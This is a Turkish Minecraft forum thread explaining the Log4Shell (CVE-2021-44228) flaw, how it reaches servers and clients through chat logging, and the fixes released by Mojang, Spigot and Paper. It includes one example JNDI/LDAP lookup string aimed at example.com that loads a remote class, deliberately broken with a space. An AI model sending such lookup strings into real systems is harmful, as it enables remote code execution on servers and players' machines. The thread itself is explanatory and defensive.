Log4J Açığı Hakkında Bilmeniz Gerekenler (CVE-2021-44228)

LifeMCServer

Nether Yerlisi
Mesajlar
2,409
En iyi cevaplar
98
Beğeniler
2,457
Puanları
10,100
Ruh hali
Log4J Açığı Hakkında Bilmeniz Gerekenler (CVE-2021-44228)
Bir çoğunuzun (artık) bildiği üzere bir Log4J açığı gündeme düştü. Öncelikle Log4J nedir bundan bahsetmek istiyorum. Log4J aslında bir log kütüphanesi ve baya da popüler, birçok Java uygulamasında kullanılıyor kendisi.

Bunun Minecraft ile alakası ise Minecraft'ın Log4J'yi birçok diğer Java uygulaması gibi log kütüphanesi olarak kullanması. Şimdi Log4J'de ki açığa geçelim.

Güvenlik Açığı
Bu güvenlik açığının tehlikeli olmasının nedeni, açığı tetiklemek için gereken tek şeyin saldırganın kontrolünde olan bir mesajın loglanması olması. Minecraft ise, hem sunucu hem oyun (client) taraflı tüm sohbet mesajlarını logs/latest.log dosyasına logluyor biliyorsunuz ki. Ve bunu da Log4J kullanarak yapıyor.

Açığın Detayı
Açık Log4J'nin, loglanan her mesajda ${} arasındaki her kodu işlemesinden ve sonucunu deserialize edip toString yaparak loglamaya çalışmasından kaynaklanıyor. Bu kodlara LDAP protokolü ile bir websitesi girilebiliyor ve Log4J'de bu websitesinde ki bir class dosyasını deseralize edip, yüklüyor. Bütün bunları ise sadece toString yaparak loglamak için yapıyor.

Açık saldırganın bir site açıp, daha öncesinde saldıracağı hedefin bilgisayarında çalışması için oluşturduğu class dosyasını sitesine yüklemesi, daha sonrasında ${...} kodu ile sitesindeki classın Log4J tarafından yüklenmesini sağlaması ile tetikleniyor. Class yüklendikten sonra saldırganın static {} kod bloğu içerisine yazdığı tüm kodlar hedef makinede yürütülüyor.

Açığın Örneği
Not: Sadece örnek amaçlı URL'dir, aslında böyle bir URL yok.

Bu URL'nin saldırganın sitesi olduğunu ve zararlı işlemler yapan class dosyasının da orada olduğunu var sayar isek, saldırgan sunucunuza giriyor ve sohbete aşağıdaki mesajı gönderiyor:

Kod:
$ {jndi:ldap://example.com/gift-for-log4j/LoadMePlease.class}
Not: Şimdi fark ettim, kod foruma eklenmiyor. Bu nedenle $ ile { arasında boşluk koydum ama normalde yok.

Daha sonra ilk önce sunucu bu mesajı logladığından (sunucu tarafındaki) Log4J burada ki classı yüklüyor ve static bloğunda ki kodlar sunucu makinesinde yürütülüyor.

Ama iş burada bitmiyor çünkü bu mesaj diğer oyunculara da gidiyor ve oyuncuların kullandığı Minecraft uygulamasında da bu açık var. Yani sunucudaki tüm oyuncularda da aynı olay oluyor (açığın çözülmediğini var saydığımızda)

Açığın Çözümü
Açık keşfedildikten kısa bir süre sonra birçok çözüm yöntemi ortaya çıktı. Peki bunlardan en doğrusu, en etkilileri hangileri? Hatta ve hatta bu çözümler direkt olarak çalışıyor mu yoksa uydurulan çözümler mi?

Java Sürümü
İlk olarak ortaya çıkan iddialardan birisi Java 8u121 ve üstü sürümlerde açığın olmadığıydı. Ancak çok kısa bir süre içerisinde bunun yarı doğru olduğu ortaya çıktı. Evet, Java 8u121 LDAP protokollerinde değişiklikler yapıyordu ve açığın bir kısmını çözüyordu, ama tamamını değil.

Java 8u121 altı sürümlerde bu düzeltme -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false kodu ile edinilebiliyordu, bu seferde bu argümanlar ortada dolaşmaya başladı.

Log4J Argümanı
Bundan hemen sonra ise Log4J'de açılan sorunu çözen Pull Request'in altında ki yorumlarda -Dlog4j2.formatMsgNoLookups=true argümanının sorunu çözdüğünün söylenmesi üzerine bu argüman ortalıkta dolaşmaya başladı ve herkese çözüm olarak sunuldu.

Ancak kısa süre sonra bu argümanın sadece Log4J 2.10 sürümünden sonra çalıştığını, bu sürümün de Minecraft'ın 1.8 gibi eski sürümlerinde olmadığı fark edildi.

Class Dosyası Silinmesi
Yine bu Pull Request'de önerilen çözümlerden bir diğeri de /org/apache/logging/log4j/core/lookup/JndiLookup.class dosyasının silinebileceği ve bunun herhangi bir hataya neden olmayacağıydı. Ancak bu da Minecraft'ın eski Log4J sürümünden dolayı hatalara yol açabiliyordu.

Log4J 2.15.0
Sorunun Log4J yapımcıları tarafından kesin ve resmi olarak çözüldüğü Log4J versiyon 2.15.0 yayınlandı. Ancak işler Minecraft tarafı için hala karışıktı çünkü Minecraft 2.14.0 değil ondan da eski sürümler kullanıyordu ve güncellemek çokta kolay değildi. 1.18 için 1.18.1 çıktı ama eski sürümler için ne yapılacaktı? 1.8.10 mu çıkacaktı, 1.8.9.1 mi? Yoksa silent-patch olarak oyunun 1.8.9 sürümü mü düzenlenecekti? Peki sunucu taraflı 1.8.8 sürümüne ne olacaktı? Bunlar pekte olası seçenekler olmadığından ortaya class silme, java sürümü, java argümanları gibi diğer çözümlerin çıkıp yayılması da normaldi.

Hypixel'in Sorunu Çözmesi
Ortada daha henüz bu çözümler dolaşırken kısa süre içerisinde Hypixel açığı çözdüğünü ve Hypixel oyuncularının güvende olduğunu, ama Mojang'dan bir duyuru gelene kadar başka sunuculara girmelerini önermediklerini duyurdu. Bu süreçte Paper'da sorunu son çıkan 1.18 buildinde çözdü ve 1.16.5'ye kadar sorunu çözen yeni sürümler yayınladı, ancak 1.8 gibi eski sürümlere herhangi bir güncelleme getirmedi.

Mojang'ın Olaya El Atması
Ardından Mojang'da sorunu 1.18.1'de Log4J 2.15 sürümüne güncelleyerek çözdü. Eski sürümler için ise sorun aşağıda bahsedeceğim Log4J config dosyası ile çözüldü.

Log4J Config Dosyasından Çözüm
Hatanın belki de en kolay ve etkili çözümlerinden birisi de sorunu log4j2.xml dosyasından çözmekti. Bu dosyada sorunu çözmek için yapmanız gereken %m veya %msg kısımlarını %msg{nolookups} olarak değiştirmekti.

Mojang buna ek olarak bir Regex ekledi ve sadece açığı değil komple bu tür ${} içeren mesajların loglanmasını da engelledi (bahsedilen regex: .*\$\{[^}]*\}.*).

Şuanda kullanılan config dosyanızı .minecraft/assets/log_configs/client-<sürüm>.xml dosyasından kontrol edebilirsiniz. 1.7 ve üstü sürümler ile 1.12 ve üstü sürümler için ayrılan iki dosya olacaktır.

Benim Tarafım
Tüm bunlar gerçekleşirken bana da birçok mesaj geldi tabii ki, başlatma kodumu güncellememi isteyenler oldu. Fakat buna aslında gerek yok. Başlatma kodumun 11 ay 10 gün önce yayınlanan yeterince eski v2.3.0 sürümünde, logda ANSI escape sequence dediğimiz renk kodlarının gözükerek logları [m: gibi karakterler ile okunamaz kılan bir sorunu çözmek için GitHub'dan benim kontrolümde olan bir log4j2.xml dosyası indirdiği ve varsayılan config yerine onu kullanmaya başladığı kod eklendi.

Bende bu GitHub'da bulundurduğum log4j2.xml dosyasını güncelleyerek Mojang ile aynı çözümleri uyguladım ({nolookups} + RegEx bloğu), yani herhangi bir Java güncellemesine, ekstra Java argümanına, Log4J2 2.15'e veya yeni başlatma kodu sürümüne gerek kalmadı.

Spigot & Paper
Spigot'da Mojang'dan kısa süre sonra 1.8 ve üstü tüm Spigot sürümlerini güncelleyerek sorunu çözdü. BuildTools'u tekrar çalıştırarak yeni sürümleri edinebilirsiniz. (Not: 3. parti sitelerin güncellenmesi zaman alabilir özellikle de eski sürümler için güncellenmeyebilirler bile, Spigot kullanıyorsanız BuildTools'u kendiniz yürütmenizi tavsiye ederim)

Paper konusunda durumlar biraz daha karışık. Paper sorunun çözümünü sadece 1.16.5'e kadar geriye döndürdü, yani Paper 1.8.8 kullanıyorsanız sorunu çözmek için başka bir yöntem izlemeniz gerek.

Java argümanı eklemek veya Java sürümü güncellemek bu nokta da sizi tamamen güvenli kılmayacaktır bu nedenle benim önerim aşağıdaki eklentiyi kullanmanız. Açık yine orada duracaktır ancak oyuncuların mesajlarında ${} kullanmasını, bunun loglanmasını veya diğer oyuncuların clientlerine gönderilmesini engelleyecektir.


Özet/Güvende Miyim, Ne Yapmalıyım?
Sunucu sahibi değilseniz:
hiçbir şey yapmanıza gerek yok, Mojang sorunu oyunun tüm sürümleri için çözdü. Sadece eğer açık çıktığından beri oyunu ve launcherı hiç kapatıp açmadıysanız endişelenin, bir kez açıp kapatmanız dahilinde yeni configler indirilecektir.

Not: Bu sadece orijinal launcher'ın son sürümü için geçerlidir. Farklı launcherlar kullanıyorsanız launcherınızı güncellemeniz gerekebilir, launcher sağlayıcınızın sitesini ve duyurularını kontrol edin.

Sunucu sahibiyseniz: Spigot kullanıyorsanız BuildTools'u tekrar çalıştırıp yeni Jar edinin. Paper 1.16.5+ kullanıyorsanız Paper'ın sitesinden yeni sürümleri indirin. Paper <1.16.5 kullanıyorsanız yukarıdaki eklentiyi yükleyin. Vanilla sunucunuz var ise Mojang'ın minecraft.net'de yayınladığı direktifleri uygulayın.
 


AtomCraftLTD

Ağaç Yumruklayıcı
Mesajlar
13
En iyi cevaplar
0
Beğeniler
4
Puanları
20
Log4J türevi yüzlerde exploitin var olduğunu unutmamak lazım bugün ${} , yarın bambaşka bir şey. Güzel anlatım
 

povcik

play.aleriaclub.com | Team.Aleria | Developer
Mesajlar
121
En iyi cevaplar
0
Beğeniler
119
Puanları
420
Ruh hali
güzel olmuş fakat olaylar bittikten sonra atmanız bir tık kötü olmuş. Neredeyse söylediklerinize gerek bile kalmadı birçok spigot,plugin ve minecraft clientleri olayı fixledi.
 

LifeMCServer

Nether Yerlisi
Mesajlar
2,409
En iyi cevaplar
98
Beğeniler
2,457
Puanları
10,100
Ruh hali
güzel olmuş fakat olaylar bittikten sonra atmanız bir tık kötü olmuş. Neredeyse söylediklerinize gerek bile kalmadı birçok spigot,plugin ve minecraft clientleri olayı fixledi.

Yaşananların özetini geçip belgesel tarzı bir konu açmak istedim, bitmesinden sonra açmamın bir nedeni bu, diğer nedeni ise açığın nasıl yapıldığına da değinmek istiyordum, ve açık (çoğunlukla) çözülmeden bunu yapmam pekte doğru olmazdı.
 

Bernard

Бернард
Site Danışmanı
Geliştirici
Mesajlar
1,291
En iyi cevaplar
61
Beğeniler
2,112
Puanları
5,600
Mars 2020 Perseverance Rover aracında da Log4J'nin kullanıldığını biliyor muydunuz peki :D
 

Üst